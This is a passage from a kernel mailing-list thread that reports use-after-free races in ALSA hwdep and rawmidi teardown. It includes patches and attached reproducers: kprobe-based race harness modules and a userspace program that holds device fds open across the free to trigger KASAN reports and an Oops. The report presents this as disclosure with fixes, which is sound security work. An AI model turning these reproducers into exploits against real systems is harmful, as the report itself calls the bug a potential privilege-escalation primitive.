-static void snd_hwdep_free(struct snd_hwdep *hwdep)
+static int snd_hwdep_free(struct snd_hwdep *hwdep)
{
if (!hwdep)
- return;
+ return 0;
+ if (hwdep->used) {
+ dev_warn(hwdep->dev, "hwdep is still open (%d users), "
+ "not freeing\n", hwdep->used);
+ return -EBUSY;
+ }
if (hwdep->private_free)
hwdep->private_free(hwdep);
put_device(hwdep->dev);
kfree(hwdep);
+ return 0;
}
@@
static int snd_hwdep_dev_free(struct snd_device *device)
{
struct snd_hwdep *hwdep = device->device_data;
- snd_hwdep_free(device->device_data);
- return 0;
+ return snd_hwdep_free(device->device_data);
}
--
2.43.0
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
[-- Attachment #2: synthmr02.c --]
[-- Type: text/plain, Size: 8195 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* synthmr02.c - controlled-window verification for SYNTH-MR-02
* (docs/manual-review-sound-synth-2026-11-26.md §2.2):
*
* card->devices is unlocked; snd_card_disconnect() ->
* snd_device_disconnect_all() walks it in reverse with no lock, while the
* sub-driver remove body snd_emux_free() -> snd_device_free(hwdep)
* concurrently list_del()s and kfree()s the very same struct snd_device.
*
* Setup mirrors the emu10k1 shape: a card owning
* - a parent snd_seq_device (SNDRV_DEV_SEQUENCER = 8, like the real
* "emu10k1-synth" device created by the base driver),
* - the emux hwdep (SNDRV_DEV_HWDEP = 9),
* - the card control device (SNDRV_DEV_CONTROL = 11).
*
* Controlled window: kprobe on snd_hwdep_dev_disconnect() whose *caller* is
* snd_device_disconnect_all() (return address inside
* [snd_device_disconnect_all, snd_device_free_all), resolved at runtime via
* kprobe registration addresses) stalls the disconnect walker right before
* it dereferences the (soon freed) struct snd_hwdep; then the sub-driver
* remove body snd_emux_free() frees hwdep + struct snd_device; release ->
* UAF on struct snd_hwdep and struct snd_device.
*
* Note the caller filter is what makes this deterministic: the freer's own
* snd_hwdep_dev_disconnect() call comes from snd_device_free() and must NOT
* stall.
*/
#define pr_fmt(fmt) "SYNTHMR02: " fmt
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/kprobes.h>
#include <linux/kthread.h>
#include <linux/delay.h>
#include <linux/completion.h>
#include <linux/device.h>
#include <sound/core.h>
#include <sound/emux_synth.h>
#include <sound/seq_device.h>
#include <sound/util_mem.h>
static struct device *parent;
static struct snd_card *card;
static struct snd_emux *emu;
static struct snd_seq_device *sdev;
static atomic_t armed = ATOMIC_INIT(0);
static atomic_t stall_hit = ATOMIC_INIT(0);
static struct kprobe kp_disc, kp_da_start, kp_da_end;
static unsigned long da_lo, da_hi;
static struct completion disc_kthread_done;
static unsigned int stall_max_ms = 60000;
module_param(stall_max_ms, uint, 0400);
/* --- fake backend (unused by this case, but required by the API) --- */
static struct snd_emux_voice *mr2_get_voice(struct snd_emux *e,
struct snd_emux_port *port)
{
return NULL;
}
static int mr2_start(struct snd_emux_voice *vp) { return 0; }
static void mr2_void1(struct snd_emux_voice *vp) {}
static void mr2_void2(struct snd_emux_voice *vp, int u) {}
static int mr2_snew(struct snd_emux *e, struct snd_sf_sample *sp,
struct snd_util_memhdr *h, const void __user *d, long c)
{
sp->block = snd_util_mem_alloc(h, 256);
return sp->block ? 0 : -ENOMEM;
}
static int mr2_sfree(struct snd_emux *e, struct snd_sf_sample *sp,
struct snd_util_memhdr *h)
{
if (sp->block) {
snd_util_mem_free(h, sp->block);
sp->block = NULL;
}
return 0;
}
static const struct snd_emux_operators mr2_ops = {
.owner = THIS_MODULE,
.get_voice = mr2_get_voice,
.prepare = mr2_start,
.trigger = mr2_void1,
.release = mr2_void1,
.update = mr2_void2,
.terminate = mr2_void1,
.sample_new = mr2_snew,
.sample_free = mr2_sfree,
};
/* --- the controlled window --- */
static int mr2_disc_pre(struct kprobe *p, struct pt_regs *regs)
{
unsigned long ret;
if (!atomic_read(&armed))
return 0;
/* at function entry, [regs->sp] holds the return address */
ret = *(unsigned long *)regs->sp;
if (ret < da_lo || ret >= da_hi)
return 0; /* freer's own call: from snd_device_free() */
atomic_inc(&stall_hit);
pr_info("disconnect walker stalled inside snd_hwdep_dev_disconnect "
"(caller=snd_device_disconnect_all, ret=%px)\n", (void *)ret);
{
unsigned long deadline = jiffies +
msecs_to_jiffies(stall_max_ms);
while (atomic_read(&armed) && time_before(jiffies, deadline))
cpu_relax();
}
pr_info("disconnect walker resuming (hwdep+snd_device now freed)\n");
return 0;
}
static int mr2_kp_probe_by_name(struct kprobe *kp, const char *name)
{
int ret;
memset(kp, 0, sizeof(*kp));
kp->symbol_name = name;
ret = register_kprobe(kp);
return ret;
}
/* thread B body: card hot-removal side */
static int mr2_disc_thread(void *arg)
{
struct snd_card *c = arg;
snd_card_disconnect(c);
pr_info("disconnect thread finished\n");
complete(&disc_kthread_done);
return 0;
}
static int arm_set(const char *val, const struct kernel_param *kp)
{
struct task_struct *t;
int ret;
if (!card)
return -ENODEV;
/* resolve snd_device_disconnect_all() bounds at runtime */
ret = mr2_kp_probe_by_name(&kp_da_start, "snd_device_disconnect_all");
if (ret)
return ret;
da_lo = (unsigned long)kp_da_start.addr;
ret = mr2_kp_probe_by_name(&kp_da_end, "snd_device_free_all");
if (ret) {
unregister_kprobe(&kp_da_start);
return ret;
}
da_hi = (unsigned long)kp_da_end.addr;
unregister_kprobe(&kp_da_start);
unregister_kprobe(&kp_da_end);
pr_info("snd_device_disconnect_all = [%px, %px)\n",
(void *)da_lo, (void *)da_hi);
ret = mr2_kp_probe_by_name(&kp_disc, "snd_hwdep_dev_disconnect");
if (ret)
return ret;
kp_disc.pre_handler = mr2_disc_pre;
atomic_set(&armed, 1);
init_completion(&disc_kthread_done);
/* thread B: card hot-removal side */
t = kthread_run(mr2_disc_thread, card, "synthmr02_disc");
if (IS_ERR(t)) {
atomic_set(&armed, 0);
unregister_kprobe(&kp_disc);
return PTR_ERR(t);
}
pr_info("armed: snd_card_disconnect() thread started\n");
return 0;
}
static const struct kernel_param_ops arm_ops = { .set = arm_set };
module_param_cb(arm, &arm_ops, NULL, 0200);
static int go_set(const char *val, const struct kernel_param *kp)
{
if (!atomic_read(&armed) || !emu)
return -ENODEV;
/* give the disconnect walker time to reach the hwdep node + stall */
msleep(1500);
/*
* Collision-critical release: the body of snd_emux_delete_hwdep()
* (emux_hwdep.c:143-150), which is what snd_emux_free() calls on the
* rmmod/unbind path. Invoked directly so the deterministic window is
* not diluted by the seq-client teardown's synchronize_rcu() (which
* stretches to tens of seconds on a loaded 2-vCPU KASAN guest and is
* unrelated to the audited collision).
*/
pr_info("go: running snd_device_free(card, emu->hwdep) "
"(body of snd_emux_delete_hwdep)\n");
snd_device_free(card, emu->hwdep);
emu->hwdep = NULL;
pr_info("go: hwdep snd_device freed, releasing stalled walker\n");
atomic_set(&armed, 0);
wait_for_completion_timeout(&disc_kthread_done,
msecs_to_jiffies(20000));
pr_info("go: done (stall hits: %d)\n", atomic_read(&stall_hit));
return 0;
}
static const struct kernel_param_ops go_ops = { .set = go_set };
module_param_cb(go, &go_ops, NULL, 0200);
/* --- setup --- */
static int __init synthmr02_init(void)
{
int err;
parent = root_device_register("synthmr02");
if (IS_ERR(parent))
return PTR_ERR(parent);
err = snd_card_new(parent, 1, "synthmr02", THIS_MODULE, 0, &card);
if (err < 0)
goto err_parent;
err = snd_emux_new(&emu);
if (err < 0)
goto err_card;
emu->ops = mr2_ops;
emu->hw = card;
emu->max_voices = 8;
emu->num_ports = 1;
emu->midi_ports = 0;
emu->hwdep_idx = 0;
emu->memhdr = snd_util_memhdr_new(0x100000);
err = snd_emux_register(emu, card, 0, "synthmr02");
if (err < 0)
goto err_emux;
/* the parent sequencer device, like the real "emu10k1-synth" one */
err = snd_seq_device_new(card, 0, "synthmr02", 0, &sdev);
if (err < 0)
goto err_emux;
err = snd_device_register(card, sdev);
if (err < 0)
goto err_emux;
pr_info("card1 ready: SEQ(8)+HWDEP(9)+CTL(11) devices on card->devices\n");
return 0;
err_emux:
snd_emux_free(emu);
emu = NULL;
err_card:
snd_card_free(card);
card = NULL;
err_parent:
root_device_unregister(parent);
parent = NULL;
return err;
}
static void __exit synthmr02_exit(void)
{
atomic_set(&armed, 0);
if (emu) {
snd_emux_free(emu);
emu = NULL;
}
if (card) {
snd_card_free(card);
card = NULL;
}
if (parent) {
root_device_unregister(parent);
parent = NULL;
}
}
module_init(synthmr02_init);
module_exit(synthmr02_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("SYNTH-MR-02 card->devices race verification harness");
^ permalink raw reply [flat|nested] 101+ messages in thread* ALSA: rawmidi: snd_rawmidi_free() tears down substreams and the private data while fds are still open and the virmidi output work is queued (UAF)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (33 preceding siblings ...)
2026-12-01 12:43 ` ALSA: hwdep: single-device teardown kfrees snd_hwdep while user space still holds the node open (UAF) 徐晗翔
@ 2026-12-01 12:45 ` 徐晗翔
2026-12-01 12:47 ` ALSA: pcm: snd_emu8000_remove() frees a pcm with open fds and an armed period timer (UAF) 徐晗翔
` (6 subsequent siblings)
41 siblings, 0 replies; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 12:45 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
[-- Attachment #1: Type: text/plain, Size: 7397 bytes --]
snd_rawmidi_free() (sound/core/rawmidi.c:1924-1941) -- reached from
snd_device_free(card, rmidi) -- unconditionally kfrees every
snd_rawmidi_substream (snd_rawmidi_free_substreams(), rawmidi.c:1919),
runs rmidi->private_free() (for the virmidi devices this kfrees the
struct snd_virmidi_dev), and kfrees the struct snd_rawmidi itself --
all without waiting for open file descriptors or in-flight operations.
snd_rawmidi_dev_disconnect() (rawmidi.c:2053-2086) merely unregisters
the minor and wakes sleepers; it does not swap file->f_op (that
protection exists only in the card-wide snd_card_disconnect()) and it
does not drain anything. An fd that stays open across the teardown
keeps rawmidi_file{rmidi,input,output} pointing at freed objects, and
the virmidi output path makes it worse: snd_virmidi_output_trigger()
queues vmidi->output_work on system_highpri_wq (seq_virmidi.c:179) and
that work dereferences vmidi->rdev and vmidi->substream
(seq_virmidi.c:142-158) -- all of which the free chain released; the
only cancel_work_sync() lives in the per-fd close, which a forced
teardown never runs.
Verified on mainline 7.3 with a faithful construction on the real
core: a module registers a real virmidi rawmidi (snd_virmidi_new()
through the real snd_rawmidi_new()/snd_device_register() path with the
real snd_seq_virmidi ops) exactly as the in-tree emux sub-driver does
(snd_emux_init_virmidi() shape), user space opens /dev/snd/midiC0D0
and writes (triggering output_work), and the controlled plan performs
snd_device_free(card, rmidi) -- the snd_emux_delete_virmidi() body
verbatim. Results: 71 KASAN reports (fd side:
slab-use-after-free in snd_rawmidi_write+0xbb; workqueue side:
snd_vmidi_output_work+0xb8 hit repeatedly) followed by a REAL kernel
Oops: "unable to handle page fault for address ffffffffffffffe0" at
snd_card_file_remove+0x74, reached from snd_rawmidi_release() on the
freed rmidi->card list -- i.e. the crash lands in the core close path
of an fd that outlived its device. Root rights are needed for the
teardown side only; the fd side needs no privileges. The affected
in-tree configuration is any card using the emux virmidi devices
(emu10k1-synth, emu8000-synth) with an independently removable
sub-driver.
The detailed description:
* Test environment / affected version (still present as of 7.4-rc5)
Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC
-- vanilla mainline 7.3, KASAN, QEMU/KVM x86_64 guest (2 vCPU).
sound/core/rawmidi.c and sound/core/seq/seq_virmidi.c are
byte-identical between the audited tree and the vanilla verification
tree.
* Mechanism
- open: snd_rawmidi_open() (rawmidi.c:432-531) pins only the CARD
module (L462 try_module_get(rmidi->card->module)); the virmidi
substream callbacks (seq_virmidi.c:185-235) take no module or
object reference at all.
- output path: every trigger(1) queues
vmidi->output_work on system_highpri_wq; the work loops over
snd_rawmidi_transmit(vmidi->substream) and reads vmidi->rdev->flags
(seq_virmidi.c:134-168). cancel_work_sync() exists only in the
per-fd snd_virmidi_output_close() (seq_virmidi.c:262-272).
- teardown: snd_emux_delete_virmidi() (emux_seq.c:375-389) ->
snd_device_free(card, rmidi) -> snd_rawmidi_dev_disconnect()
(register_mutex + open_mutex, wake sleepers, snd_unregister_device
-- no drain, no f_op swap) -> snd_rawmidi_free(): kfree(substream)
L1919, private_free -> kfree(rdev) L1936-1937, kfree(rmidi) L1939.
- users: fd write/read/ioctl dereference rawmidi_file{rmidi,input,
output}; close() runs snd_rawmidi_release() -> close_substream()
on the freed substream and snd_card_file_remove() on the freed
rmidi->card; the queued work dereferences the freed rdev and
substream.
* Trigger model
A user holds /dev/snd/midiC*D* open and writes (keeps output_work
busy); root removes the owning sub-driver (rmmod snd-emux-synth /
snd-emu10k1-synth). Every fd operation after the free, the final
close(), and the in-flight work are use-after-frees. Consequence:
multi-object kernel UAF read/write and a demonstrated hard Oops in
the core close path (potential privilege escalation primitive,
stable crash).
* Reproducer (attached: fwmr03.c + fwmr_test.c) and results on 7.3 (still present as of 7.4-rc5)
fwmr03.c registers a real virmidi device via snd_virmidi_new()
(real snd_rawmidi_new + snd_device_register + snd_card_register,
real snd_seq_virmidi ops table, real snd_seq kernel client) in the
shape of snd_emux_init_virmidi(); fwmr_test "mr03midi" opens
/dev/snd/midiC0D0 through the real snd_rawmidi_open() path and
hammers write/read while the plan performs snd_device_free(card,
rmidi) -- the snd_emux_delete_virmidi() body verbatim. Needs
CONFIG_SND_SEQUENCER=y, snd-rawmidi.ko, snd-seq-virmidi.ko,
snd-seq-midi-event.ko.
Results (7.3, 2 vCPU): 71 KASAN reports --
slab-use-after-free in snd_rawmidi_write+0xbb (fd side),
snd_vmidi_output_work+0xb8 in the events_highpri workqueue (work
side, multiple), then the hard Oops
"unable to handle page fault for address ffffffffffffffe0" at
snd_card_file_remove+0x74 (core close path on freed rmidi->card).
Full first report and the Oops are in the evidence file.
* Patch
snd_emux_delete_virmidi() (and any independent teardown path) calls
snd_device_free(card, rmidi), which runs snd_rawmidi_free():
kfree(substream) for every substream, rmidi->private_free() (frees
the virmidi rdev), and kfree(rmidi) -- none of which waits for open
file descriptors or the queued virmidi output work. The f_op swap
protection only exists in the card-wide snd_card_disconnect() path.
Refuse the free while any substream is opened: __snd_device_free()
unlinks the snd_device wrapper but leaves the object tree alive for
the open descriptors (bounded leak instead of a multi-object UAF and
the close-path Oops demonstrated in the report). Additionally never
kfree a substream whose ->opened flag is still set.
---
sound/core/rawmidi.c | 18 ++++++++++++++++--
1 file changed, 16 insertions(+), 2 deletions(-)
diff --git a/sound/core/rawmidi.c b/sound/core/rawmidi.c
--- a/sound/core/rawmidi.c
+++ b/sound/core/rawmidi.c
@@ -1912,12 +1912,22 @@ static int snd_rawmidi_dev_free(struct snd_device *device)
static void snd_rawmidi_free_substreams(struct snd_rawmidi_str *stream)
{
struct snd_rawmidi_substream *substream;
while (!list_empty(&stream->substreams)) {
substream = list_entry(stream->substreams.next,
struct snd_rawmidi_substream, list);
list_del(&substream->list);
+ if (substream->opened) {
+ /* an fd still holds this substream: keep it alive
+ * (bounded leak instead of a UAF from the stale fd
+ * and the virmidi output work) */
+ continue;
+ }
kfree(substream);
}
}
@@
int snd_rawmidi_free(struct snd_rawmidi *rmidi)
{
if (!rmidi)
return 0;
+ if (rmidi->streams[SNDRV_RAWMIDI_STREAM_INPUT].substream_opened ||
+ rmidi->streams[SNDRV_RAWMIDI_STREAM_OUTPUT].substream_opened) {
+ rmidi_err(rmidi, "rawmidi is still open, not freeing\n");
+ return -EBUSY;
+ }
snd_info_free_entry(rmidi->proc_entry);
--
2.43.0
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
[-- Attachment #2: fwmr_test.c --]
[-- Type: text/plain, Size: 11633 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* fwmr_test.c - userspace driver for the sound/firewire FW-MR-* race
* verification harnesses (docs/manual-review-sound-firewire-2026-11-26.md).
*
* Plans:
* mr02hold [secs] - FW-MR-02 deterministic release-path variant: open
* /dev/snd/hwC0D0 (real snd_hwdep_open, used=1), read
* once, HOLD the fd across the kernel-side
* snd_emux_free() (host script triggers it), then
* ioctl + close on the freed hwdep -> real
* snd_hwdep_release() derefs freed hw (hw->card->module,
* mutex_lock(&hw->open_mutex), hw->used--).
* mr02hammer [iters] - FW-MR-02 in-flight variant (same shape as the
* synth report's mr03, re-attributed): open + ioctl
* hammer while the free runs on the other side.
* mr03midi [secs] - FW-MR-03: poll for /dev/snd/midiC0D0, open
* O_WRONLY|O_NONBLOCK (real snd_rawmidi_open ->
* snd_virmidi_output_open INIT_WORK), write MIDI bytes
* (real snd_rawmidi_output_trigger -> queue_work
* system_highpri_wq), HOLD across fw3_free, write
* again (in-flight work + write path on freed rmidi),
* close (snd_rawmidi_release on freed rmidi).
* mr04pcm [secs] - FW-MR-04: poll for /dev/snd/pcmC1D0p, open (real
* snd_pcm_open, ref_count=1), hammer
* SNDRV_PCM_IOCTL_PVERSION/PINFO, HOLD across fw4_free
* (snd_device_free(card, pcm)), ioctl + close on the
* freed substream/pcm (real snd_pcm_release path).
* mr01read [secs] - FW-MR-01 reader side: hammer
* SNDRV_CTL_IOCTL_ELEM_LIST + ELEM_INFO on
* /dev/snd/controlC0 while a dangling (freed but
* still-linked) jack kcontrol sits in card->controls.
* mr06storm [secs] - FW-MR-06 writer side: loop SNDRV_CTL_IOCTL_ELEM_ADD +
* ELEM_REMOVE of a user control with iface=CARD whose
* name is copied from an existing CARD control (same
* ctl_hash key as the jack controls the reconfig probe
* looks up locklessly in get_available_index()).
* waitdev <path> [timeout_ms] - poll until a device node appears.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sound/asound.h>
#include "include/sound/sfnt_info.h"
static void waitdev(const char *path, int timeout_ms)
{
int waited = 0;
struct stat st;
while (stat(path, &st) != 0) {
if (waited >= timeout_ms)
return;
usleep(20000);
waited += 20;
}
}
/* ---- FW-MR-02 ---- */
static int plan_mr02hold(int secs)
{
int fd;
unsigned int ver = 0;
waitdev("/dev/snd/hwC0D0", 8000);
fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
return 1;
}
printf("MR02HOLD: fd open (hw->used=1), VERSION probe done\n");
fflush(stdout);
printf("MR02HOLD: holding fd for %ds (host frees emux now)\n", secs);
fflush(stdout);
sleep(secs);
printf("MR02HOLD: ioctl on freed hwdep (in snd_hwdep_ioctl path)\n");
fflush(stdout);
ioctl(fd, SNDRV_EMUX_IOCTL_VERSION, &ver);
printf("MR02HOLD: closing -> real snd_hwdep_release() on freed hw\n");
fflush(stdout);
close(fd);
printf("MR02HOLD: reopen attempt (minor unregistered -> ENODEV)\n");
fflush(stdout);
close(open("/dev/snd/hwC0D0", O_RDWR));
printf("MR02HOLD: done\n");
return 0;
}
static int plan_mr02hammer(int iters)
{
int fd, i;
unsigned int ver = 0;
waitdev("/dev/snd/hwC0D0", 8000);
fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
return 1;
}
printf("MR02HAMMER: %d ioctl iterations\n", iters);
fflush(stdout);
for (i = 0; i < iters; i++) {
ioctl(fd, SNDRV_EMUX_IOCTL_VERSION, &ver);
if ((i % 256) == 0) {
printf("MR02HAMMER: iter %d\n", i);
fflush(stdout);
}
usleep(100);
}
printf("MR02HAMMER: closing\n");
fflush(stdout);
close(fd);
sleep(2);
close(open("/dev/snd/hwC0D0", O_RDWR));
printf("MR02HAMMER: done\n");
return 0;
}
/* ---- FW-MR-03 ---- */
static int plan_mr03midi(int secs)
{
int fd, n = 0;
unsigned char msg[3] = { 0x90, 0x40, 0x7f };
waitdev("/dev/snd/midiC0D0", 15000);
fd = open("/dev/snd/midiC0D0", O_WRONLY | O_NONBLOCK);
if (fd < 0) {
fprintf(stderr, "open midiC0D0: %s\n", strerror(errno));
return 1;
}
printf("MR03MIDI: opened output; writing bytes (arms output_work)\n");
fflush(stdout);
/* a few writes: each runs snd_rawmidi_kernel_write1 ->
* snd_rawmidi_output_trigger(substream, 1) -> queue_work */
for (n = 0; n < 32; n++)
{ ssize_t wr_ = write(fd, msg, sizeof(msg)); (void)wr_; }
printf("MR03MIDI: %d writes queued; holding fd for %ds "
"(host frees emux now)\n", n, secs);
fflush(stdout);
sleep(secs);
printf("MR03MIDI: writing again on freed rmidi\n");
fflush(stdout);
for (n = 0; n < 8; n++)
{ ssize_t wr_ = write(fd, msg, sizeof(msg)); (void)wr_; }
printf("MR03MIDI: closing -> real snd_rawmidi_release() on freed rmidi\n");
fflush(stdout);
close(fd);
printf("MR03MIDI: reopen attempt (minor unregistered -> ENODEV)\n");
fflush(stdout);
close(open("/dev/snd/midiC0D0", O_WRONLY | O_NONBLOCK));
printf("MR03MIDI: done\n");
return 0;
}
/* ---- FW-MR-04 ---- */
static int plan_mr04pcm(int secs)
{
int fd, i;
unsigned int ver = 0;
struct snd_pcm_info info;
waitdev("/dev/snd/pcmC1D0p", 15000);
fd = open("/dev/snd/pcmC1D0p", O_WRONLY);
if (fd < 0) {
fprintf(stderr, "open pcmC0D0p: %s\n", strerror(errno));
return 1;
}
printf("MR04PCM: opened via real snd_pcm_open (ref_count=1)\n");
fflush(stdout);
for (i = 0; i < 64; i++) {
ioctl(fd, SNDRV_PCM_IOCTL_PVERSION, &ver);
memset(&info, 0, sizeof(info));
ioctl(fd, SNDRV_PCM_IOCTL_INFO, &info);
usleep(1000);
}
printf("MR04PCM: 64 probe ioctls done; holding fd for %ds "
"(host frees pcm now)\n", secs);
fflush(stdout);
sleep(secs);
printf("MR04PCM: INFO ioctl on freed substream/pcm (in snd_pcm_info)\n");
fflush(stdout);
memset(&info, 0, sizeof(info));
ioctl(fd, SNDRV_PCM_IOCTL_INFO, &info);
printf("MR04PCM: closing -> real snd_pcm_release() on freed objects\n");
fflush(stdout);
close(fd);
printf("MR04PCM: reopen attempt (minor unregistered -> ENODEV)\n");
fflush(stdout);
close(open("/dev/snd/pcmC1D0p", O_WRONLY));
printf("MR04PCM: done\n");
return 0;
}
/* ---- FW-MR-01 / FW-MR-06 control-face helpers ---- */
static int ctl_open(void)
{
int fd = open("/dev/snd/controlC0", O_RDWR);
if (fd < 0)
fprintf(stderr, "open controlC0: %s\n", strerror(errno));
return fd;
}
static int plan_mr01read(int secs)
{
int fd, i, n, err;
struct snd_ctl_elem_list list;
struct snd_ctl_elem_id *ids;
struct snd_ctl_elem_info info;
unsigned long until = (unsigned long)time(NULL) + secs;
fd = ctl_open();
if (fd < 0)
return 1;
ids = calloc(256, sizeof(*ids));
printf("MR01READ: hammering ELEM_LIST+ELEM_INFO for %ds\n", secs);
fflush(stdout);
i = 0;
while ((unsigned long)time(NULL) < until) {
memset(&list, 0, sizeof(list));
list.offset = 0;
list.space = 256;
list.pids = ids;
err = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list);
if (err < 0)
break;
for (n = 0; n < (int)list.count && n < 256; n++) {
memset(&info, 0, sizeof(info));
info.id = ids[n];
ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info);
}
if ((++i % 64) == 0) {
printf("MR01READ: round %d (count=%u)\n", i, list.count);
fflush(stdout);
}
usleep(2000);
}
printf("MR01READ: done (%d rounds)\n", i);
free(ids);
close(fd);
return 0;
}
static int plan_mr06storm(int secs)
{
int fd, card, i, added = 0;
struct snd_ctl_elem_list list;
struct snd_ctl_elem_id *ids;
struct snd_ctl_elem_info info;
struct snd_ctl_elem_id remove_id;
unsigned long until = (unsigned long)time(NULL) + secs;
fd = ctl_open();
if (fd < 0)
return 1;
/* take the name of an existing CARD-interface control so the user
* control shares the ctl_hash key of the jack controls that the
* reconfig probe's get_available_index() looks up locklessly */
ids = calloc(256, sizeof(*ids));
memset(&list, 0, sizeof(list));
list.offset = 0;
list.space = 256;
list.pids = ids;
if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list) < 0) {
fprintf(stderr, "ELEM_LIST: %s\n", strerror(errno));
free(ids);
close(fd);
return 1;
}
memset(&info, 0, sizeof(info));
for (i = 0; i < (int)list.count && i < 256; i++) {
info.id = ids[i];
if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info) < 0)
continue;
if (info.id.iface == SNDRV_CTL_ELEM_IFACE_CARD)
break;
}
if (i >= (int)list.count) {
fprintf(stderr, "no CARD control found\n");
free(ids);
close(fd);
return 1;
}
printf("MR06STORM: adding/removing iface=CARD user control '%s' "
"for %ds\n", info.id.name, secs);
fflush(stdout);
i = 0;
while ((unsigned long)time(NULL) < until) {
memset(&info, 0, sizeof(info));
info.id.iface = SNDRV_CTL_ELEM_IFACE_CARD;
strncpy((char *)info.id.name, "Headphone Jack",
sizeof(info.id.name) - 1);
info.type = SNDRV_CTL_ELEM_TYPE_BOOLEAN;
info.count = 1;
info.owner = 0;
if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_ADD, &info) < 0)
goto drop;
added++;
remove_id = info.id;
ioctl(fd, SNDRV_CTL_IOCTL_ELEM_REMOVE, &remove_id);
drop:
if ((++i % 256) == 0) {
printf("MR06STORM: round %d (added=%d)\n", i, added);
fflush(stdout);
}
usleep(500);
}
(void)card;
printf("MR06STORM: done (%d rounds, %d added)\n", i, added);
free(ids);
close(fd);
return 0;
}
static int plan_mr01dump(void)
{
int fd, n, err;
struct snd_ctl_elem_list list;
struct snd_ctl_elem_id *ids;
struct snd_ctl_elem_info info;
fd = ctl_open();
if (fd < 0)
return 1;
ids = calloc(256, sizeof(*ids));
memset(&list, 0, sizeof(list));
list.offset = 0;
list.space = 256;
list.pids = ids;
err = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list);
if (err < 0) {
printf("MR01DUMP: ELEM_LIST failed (%s)\n", strerror(errno));
free(ids);
close(fd);
return 1;
}
printf("MR01DUMP: controls_count=%u (dangling entry stays listed)\n",
list.count);
fflush(stdout);
for (n = 0; n < (int)list.count && n < 256; n++) {
memset(&info, 0, sizeof(info));
info.id = ids[n];
ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info);
printf("MR01DUMP: numid=%-5u iface=%d %s\n",
ids[n].numid, ids[n].iface, ids[n].name);
fflush(stdout);
}
free(ids);
close(fd);
return 0;
}
int main(int argc, char **argv)
{
if (argc < 2) {
fprintf(stderr, "usage: fwmr_test <plan> [arg]\n");
return 2;
}
if (!strcmp(argv[1], "mr02hold"))
return plan_mr02hold(argc > 2 ? atoi(argv[2]) : 4);
if (!strcmp(argv[1], "mr02hammer"))
return plan_mr02hammer(argc > 2 ? atoi(argv[2]) : 20000);
if (!strcmp(argv[1], "mr03midi"))
return plan_mr03midi(argc > 2 ? atoi(argv[2]) : 6);
if (!strcmp(argv[1], "mr04pcm"))
return plan_mr04pcm(argc > 2 ? atoi(argv[2]) : 6);
if (!strcmp(argv[1], "mr01dump"))
return plan_mr01dump();
if (!strcmp(argv[1], "mr01read"))
return plan_mr01read(argc > 2 ? atoi(argv[2]) : 15);
if (!strcmp(argv[1], "mr06storm"))
return plan_mr06storm(argc > 2 ? atoi(argv[2]) : 60);
if (!strcmp(argv[1], "waitdev"))
return (waitdev(argv[2], argc > 3 ? atoi(argv[3]) : 10000), 0);
fprintf(stderr, "unknown plan %s\n", argv[1]);
return 2;
}
[-- Attachment #3: fwmr03.c --]
[-- Type: text/plain, Size: 5330 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* fwmr03.c - dynamic verification harness for audit case FW-MR-03
* (docs/manual-review-sound-firewire-2026-11-26.md, v4):
*
* "ç¬ç«åé©±å¨ snd_device_free(card, rmidi) ä¸å¨é /dev/snd/midiC*D* æä½
* å system_highpri_wq å·¥ä½é¡¹é´ç snd_rawmidi/substream/rdev å¤å¯¹è±¡ UAF"
*
* It registers a REAL emux on a virtual card with midi_ports=2, so
* snd_emux_init_virmidi() (emux_seq.c:340-373) creates the real
* /dev/snd/midiC0D0 + midiC0D1 virmidi rawmidi devices exactly like
* snd_emu10k1_synth_probe()/snd_emu8000_probe() do. The userspace side
* (fwmr_test mr03midi) opens midiC0D0 O_WRONLY, which runs the real
* snd_rawmidi_open()/snd_virmidi_output_open() path (INIT_WORK at
* seq_virmidi.c:232), and write()s bytes which run the real
* snd_rawmidi_output_trigger -> snd_virmidi_output_trigger ->
* queue_work(system_highpri_wq, &vmidi->output_work) path (seq_virmidi.c:179).
*
* Writing "1" to /sys/module/fwmr03/parameters/fw3_free runs
* snd_emux_free() (the sub-driver remove body, emux.c:124-145):
* snd_emux_delete_virmidi() -> snd_device_free(card, vmidi[i]) ->
* snd_rawmidi_dev_disconnect() (no drain) -> snd_rawmidi_free():
* kfree(substream)@rawmidi.c:1919 / kfree(rdev)@1937 / kfree(rmidi)@1939
* with no cancel_work_sync() and no fd drain -- the audited FW-MR-03
* release chain. Expected hits:
* T3a: snd_vmidi_output_work() derefs freed vmidi->substream /
* vmidi->rdev / substream->lock (freed-work + freed-substream UAF)
* T3b: close(fd) -> snd_rawmidi_release() locks freed rmidi->open_mutex,
* rawmidi_release_priv() touches freed substream/rdev
*
* Zero kernel source modification; the audited code paths are the
* byte-identical in-tree modules.
*/
#define pr_fmt(fmt) "FWMR03: " fmt
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/device.h>
#include <sound/core.h>
#include <sound/emux_synth.h>
#include <sound/util_mem.h>
static struct device *parent;
static struct snd_card *card;
